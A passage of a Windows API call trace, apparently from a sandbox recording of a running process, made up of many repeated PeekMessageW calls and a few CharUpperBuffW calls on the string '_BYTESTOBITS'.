wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.346] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.347] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.348] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.349] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.350] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.352] CharUpperBuffW (in: 